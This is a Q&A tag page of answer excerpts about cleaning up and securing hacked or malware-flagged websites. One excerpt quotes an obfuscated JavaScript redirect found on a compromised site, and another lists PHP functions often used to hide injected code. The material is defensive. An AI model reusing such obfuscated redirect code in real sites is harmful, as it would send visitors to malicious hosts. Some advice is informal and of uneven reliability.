Tag Info

Hot answers tagged

13

Basic Security Steps Since Wordpress is so popular there are a lot of drive by hacks knocking around taking advantage of flaws in basic security. All Wordpress users should take the following basic and easy steps to protect themselves:- Do not use wp_ as the database table prefix, use any string of random characters that appeals. Turn off Wordpress DB ...


4

From the Sophos KB If you believe that the URL has been blocked on the basis of hosting malware, but you think this is a false positive, go to the reassessment request form: https://www.sophos.com/en-us/threat-center/reassessment-request.aspx to submit a request to Sophos to reassess the site. Ensure that you complete all the fields. If you are not ...


4

Don't worry about them. There are many spammy sites that create links such as that. GoogleBot honours them and tries to follow the URI only to hit a 404. If you do a search for link:http://article-stack.com/2010/08/page/luminous-solutions.net in respective search engines you'll often find the culprit (otherwise they'll have been taken down already). A ...


3

Say nothing to no-one. Take snap-shots and capture the source code immediately. Also figure out how they got into the site and plug the hole fast. After you feel good about having as much evidence as to how the site appeared post hack, fix the site. Then research as much as you can. Do not say anything to anybody. Figure out who owns the site that is ...


3

What I would suggest you do is Google around, see what sites are reporting yours as malicious. For example, I found that this post on Free PC Security is where most of the reports come from. Try contacting that site and asking them why your whole domain is flagged, and request that they remove you from their list. Also you could check out websites like Web ...


2

The first question I would ask is what is your site hosting? And is ESET flagging just that file or your entire site? And then I would say not to worry about it really. Unless Google blacklists your site, your in the clear. That said, if a desktop AV flags your site as malicious, how long until/if Google does?


2

A while ago I saw quite a few spammers taking advantage of poorly coded site searches. Some searches if they have nothing to return from their site will then show web results (IE Google search results). If they site doesn't keep their search results from being indexed a spammer can easily generate search results they know will return their site and build a ...


2

Your site has probably been black listed on one of those "safe website" lists such as http://www.mywot.com/, sometimes they are used by overzealous anti-viruses (AVG, Kaspersky etc), and can flag as malware in the users browser. You should ask the users who email you what anti-virus they use, then investigate further. If you have ever been hacked at all, ...


2

The reported URL www.f1arab.com does not contain this piece of JS code at first sight. So, looking at the script we can figure out what it is trying to sent you to: var wow = "b3nimb2eawiki11b1infob1ms"; var url = "h"+"ttp"+":/"+"/"+wow.replace(/ea/g,"-").replace(/b3/g,"a").replace(/b2/g, "e").replace(/b1/g,".")+":8"+"1/"+"rem"+"2."+"htm"+"l"; ...


2

Malware spread by hacked WP sites is, usually, some hidden iframe in the html pages generated by the CMS, so, unless you move the files on your PC and run the CMS locally, there will be almost zero risks. if you have to test the pages to clean the infection you probably have to take care; use a good antivirus with internet protection features, but again, ...


2

Possibilities ModX EVO CMS is deleting it Malware/Virus is deleting it Shared Hosting is causing it, i.e malware/virus on another user account spreading to yours. Web host is deleting it for one reason or another. How to Investigate Contact your web host if shared hosting Check logs Quick Fix I'm assuming that you are using CHMOD 744 or 777, there ...


1

Identify How The File Got Changed First off you want to address the problem of how they are getting into your system since a chmod 755 means only the owner (The web server, ie Apache/iis) has access to write to the files therefor something else is doing the written to these files via your CMS/SQL/PHP. Identify how they got in... (Check access.logs, ...


1

What you need to do is request a Malware Review which is not the same as a usual reconsideration request as it is handled by an entire different team. You do this from the Webmaster Tools. Google explains all the steps in the process here. If all you are missing is the Review, see here.


1

Your problem is that you have not identified how the hackers got in, simply removing the malware/virus doesn't address the actual issue of how they planted the code, therefore simply removing will resolve the problem temporary but at some point the hackers will use the same exploit and replant. There could be could be 101 reasons why and no one here will ...


1

I doubt that @Joe's answer will work, as the injection script is likely encrypted or at least obfuscated. It appears that SiteCake is written in PHP, so do a search for base64_decode, str_rot13 and gzdeflate as these are often used to disguise exploit code. It is by no means certain that components using these commands are definitely malware, but the ...


1

they would experience a detriment to response time relative to your VM resources. Beyond that its a guess question. "Some detriment, what specifically is unknown without VM environment specifics" Lousy albeit concise answer. If you would like a more concrete answer: avail us to more concrete server resource information :D Good luck sir or madam ! :D


1

You can also scan your site at http://sitecheck.sucuri.net/scanner/ Common forms of malware inject php code into your index.php files which generate the javascript. The PHP doesn't look like the javascript, it may be base64 encoded it may not. It's also possible you have rogue php files on your site inserting the code into your index files as well. In that ...


1

1) Strong passwords (12+ chars, letter+number+specials chars), use of trusted code, application of published security updates to managed code. 2) Virus/Malware scanning at least. If intrusion is suspected, change all your password (using the suggestions from #1 above) for the machine(s). If it's really a problem, hire a professional that specializes in ...



Only top voted, non community-wiki answers of a minimum length are eligible